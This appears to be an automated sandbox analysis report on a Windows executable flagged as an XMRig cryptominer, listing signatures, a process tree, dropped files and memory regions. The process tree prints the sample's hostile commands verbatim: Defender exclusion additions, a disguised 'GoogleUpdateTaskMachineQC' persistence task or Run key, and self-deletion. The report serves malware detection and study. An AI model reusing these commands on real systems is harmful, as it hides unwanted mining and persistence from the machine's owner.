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25/01/2024, 16:55

240125-vfcyksbhgr10

24/01/2024, 17:15

240124-vstf4aecaj10

23/01/2024, 19:27

240123-x6cfvagbd910

23/01/2024, 19:27

240123-x6bvbafgem10

23/01/2024, 19:27

240123-x6bjjsgbd810

23/01/2024, 19:27

240123-x6ax1sfgek10

23/01/2024, 19:27

240123-x6abgsfgej10

23/01/2024, 19:27

240123-x591qagbd710

23/01/2024, 19:27

240123-x59d7agbd610

23/01/2024, 19:27

240123-x584esgbd510

Analysis

  • max time kernel
    1801s
  • max time network
    1793s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/01/2024, 19:27

General

  • Target
    grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
  • Size 2.0MB
  • Sample240123-x59d7agbd6
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 28 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 29 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3444
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:1192
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4600
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3128
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Gu3PdXt79NF7EJXJ.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1416
        • C:\Windows\System32\choice.exe
          choice /C Y /N /D Y /T 3
          3⤵
            PID:4740
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:2276
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
            3⤵
              PID:1880
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:3272
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:2052
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:1896
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:2812
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:1392
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Detects videocard installed
              PID:4704
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
              PID:2304
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:5116

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 2.0MB
                • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
                • MD5 SHA1 SHA512 SSDEEP

                g.log

                • Path C:\Program Files\Google\Libs\g.log
                • Size 226B
                • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 83f1423077d03a56bd11549b80101a69d0dc432388d7a898df46ec850c650497
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_gumg0req.qwa.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gumg0req.qwa.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 4KB
                • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
                • MD5 SHA1 SHA512

                memory/1192-0-0x00007FF66D9B0000-0x00007FF66DBC1000-memory.dmp

                memory/1192-39-0x00007FF66D9B0000-0x00007FF66DBC1000-memory.dmp

                memory/1192-34-0x00007FF66D9B0000-0x00007FF66DBC1000-memory.dmp

                memory/2052-103-0x0000028326710000-0x0000028326720000-memory.dmp

                memory/2052-120-0x00007FFB4A090000-0x00007FFB4AB51000-memory.dmp

                memory/2052-118-0x0000028326710000-0x0000028326720000-memory.dmp

                memory/2052-117-0x0000028326710000-0x0000028326720000-memory.dmp

                memory/2052-115-0x00007FF485440000-0x00007FF485450000-memory.dmp

                memory/2052-116-0x0000028328BE0000-0x0000028328C95000-memory.dmp

                memory/2052-105-0x0000028326710000-0x0000028326720000-memory.dmp

                memory/2052-93-0x00007FFB4A090000-0x00007FFB4AB51000-memory.dmp

                memory/2276-55-0x00007FFB4A090000-0x00007FFB4AB51000-memory.dmp

                memory/2276-40-0x00007FFB4A090000-0x00007FFB4AB51000-memory.dmp

                memory/2276-41-0x000002BEC7FF0000-0x000002BEC8000000-memory.dmp

                memory/2276-42-0x000002BEC7FF0000-0x000002BEC8000000-memory.dmp

                memory/2304-150-0x00007FF7D7A30000-0x00007FF7D8224000-memory.dmp

                memory/2304-156-0x00007FF7D7A30000-0x00007FF7D8224000-memory.dmp

                memory/2304-190-0x00007FF7D7A30000-0x00007FF7D8224000-memory.dmp

                memory/2304-188-0x00007FF7D7A30000-0x00007FF7D8224000-memory.dmp

                memory/2304-186-0x00007FF7D7A30000-0x00007FF7D8224000-memory.dmp

                memory/2304-184-0x00007FF7D7A30000-0x00007FF7D8224000-memory.dmp

                memory/2304-182-0x00007FF7D7A30000-0x00007FF7D8224000-memory.dmp

                memory/2304-180-0x00007FF7D7A30000-0x00007FF7D8224000-memory.dmp

                memory/2304-178-0x00007FF7D7A30000-0x00007FF7D8224000-memory.dmp

                memory/2304-176-0x00007FF7D7A30000-0x00007FF7D8224000-memory.dmp

                memory/2304-174-0x00007FF7D7A30000-0x00007FF7D8224000-memory.dmp

                memory/2304-172-0x00007FF7D7A30000-0x00007FF7D8224000-memory.dmp

                memory/2304-170-0x00007FF7D7A30000-0x00007FF7D8224000-memory.dmp

                memory/2304-168-0x00007FF7D7A30000-0x00007FF7D8224000-memory.dmp

                memory/2304-166-0x00007FF7D7A30000-0x00007FF7D8224000-memory.dmp

                memory/2304-164-0x00007FF7D7A30000-0x00007FF7D8224000-memory.dmp

                memory/2304-162-0x00007FF7D7A30000-0x00007FF7D8224000-memory.dmp

                memory/2304-160-0x00007FF7D7A30000-0x00007FF7D8224000-memory.dmp

                memory/2304-158-0x00007FF7D7A30000-0x00007FF7D8224000-memory.dmp

                memory/2304-154-0x00007FF7D7A30000-0x00007FF7D8224000-memory.dmp

                memory/2304-152-0x00007FF7D7A30000-0x00007FF7D8224000-memory.dmp

                memory/2304-148-0x00007FF7D7A30000-0x00007FF7D8224000-memory.dmp

                memory/2304-146-0x00007FF7D7A30000-0x00007FF7D8224000-memory.dmp

                memory/2304-144-0x00007FF7D7A30000-0x00007FF7D8224000-memory.dmp

                memory/2304-142-0x000001D636100000-0x000001D636120000-memory.dmp

                memory/2304-141-0x000001D6360E0000-0x000001D636100000-memory.dmp

                memory/2304-140-0x00007FF7D7A30000-0x00007FF7D8224000-memory.dmp

                memory/2304-138-0x00007FF7D7A30000-0x00007FF7D8224000-memory.dmp

                memory/2304-136-0x000001D636100000-0x000001D636120000-memory.dmp

                memory/2304-135-0x000001D6360E0000-0x000001D636100000-memory.dmp

                memory/2304-128-0x00007FF7D7A30000-0x00007FF7D8224000-memory.dmp

                memory/2304-129-0x000001D635F40000-0x000001D635F60000-memory.dmp

                memory/2304-130-0x000001D6360C0000-0x000001D6360E0000-memory.dmp

                memory/2304-134-0x00007FF7D7A30000-0x00007FF7D8224000-memory.dmp

                memory/2304-132-0x00007FF7D7A30000-0x00007FF7D8224000-memory.dmp

                memory/2812-131-0x00007FF691600000-0x00007FF691616000-memory.dmp

                memory/2812-137-0x00007FF691600000-0x00007FF691616000-memory.dmp

                memory/3128-37-0x00007FFB4A090000-0x00007FFB4AB51000-memory.dmp

                memory/3128-22-0x0000026847C30000-0x0000026847C40000-memory.dmp

                memory/3128-21-0x0000026847C30000-0x0000026847C40000-memory.dmp

                memory/3128-33-0x0000026847C30000-0x0000026847C40000-memory.dmp

                memory/3128-20-0x00007FFB4A090000-0x00007FFB4AB51000-memory.dmp

                memory/3128-35-0x0000026847C30000-0x0000026847C40000-memory.dmp

                memory/3272-91-0x00007FFB4A090000-0x00007FFB4AB51000-memory.dmp

                memory/3272-81-0x000001F0F63E0000-0x000001F0F63FC000-memory.dmp

                memory/3272-57-0x00007FFB4A090000-0x00007FFB4AB51000-memory.dmp

                memory/3272-58-0x000001F0F3CD0000-0x000001F0F3CE0000-memory.dmp

                memory/3272-68-0x00007FF493B30000-0x00007FF493B40000-memory.dmp

                memory/3272-78-0x000001F0F6190000-0x000001F0F61AC000-memory.dmp

                memory/3272-79-0x000001F0F61B0000-0x000001F0F6265000-memory.dmp

                memory/3272-80-0x000001F0F6270000-0x000001F0F627A000-memory.dmp

                memory/3272-82-0x000001F0F63C0000-0x000001F0F63CA000-memory.dmp

                memory/3272-88-0x000001F0F3CD0000-0x000001F0F3CE0000-memory.dmp

                memory/3272-87-0x000001F0F6410000-0x000001F0F641A000-memory.dmp

                memory/3272-86-0x000001F0F6400000-0x000001F0F6406000-memory.dmp

                memory/3272-85-0x000001F0F63D0000-0x000001F0F63D8000-memory.dmp

                memory/3272-83-0x000001F0F6420000-0x000001F0F643A000-memory.dmp

                memory/4600-18-0x00007FFB4A090000-0x00007FFB4AB51000-memory.dmp

                memory/4600-13-0x000001CFEF0A0000-0x000001CFEF0B0000-memory.dmp

                memory/4600-14-0x000001CFEF0A0000-0x000001CFEF0B0000-memory.dmp

                memory/4600-15-0x000001CFEF0A0000-0x000001CFEF0B0000-memory.dmp

                memory/4600-12-0x000001CFEF0A0000-0x000001CFEF0B0000-memory.dmp

                memory/4600-6-0x000001CFEEA70000-0x000001CFEEA92000-memory.dmp

                memory/4600-11-0x00007FFB4A090000-0x00007FFB4AB51000-memory.dmp

                memory/5116-84-0x00007FF635B20000-0x00007FF635D31000-memory.dmp

                memory/5116-127-0x00007FF635B20000-0x00007FF635D31000-memory.dmp

                memory/5116-56-0x00007FF635B20000-0x00007FF635D31000-memory.dmp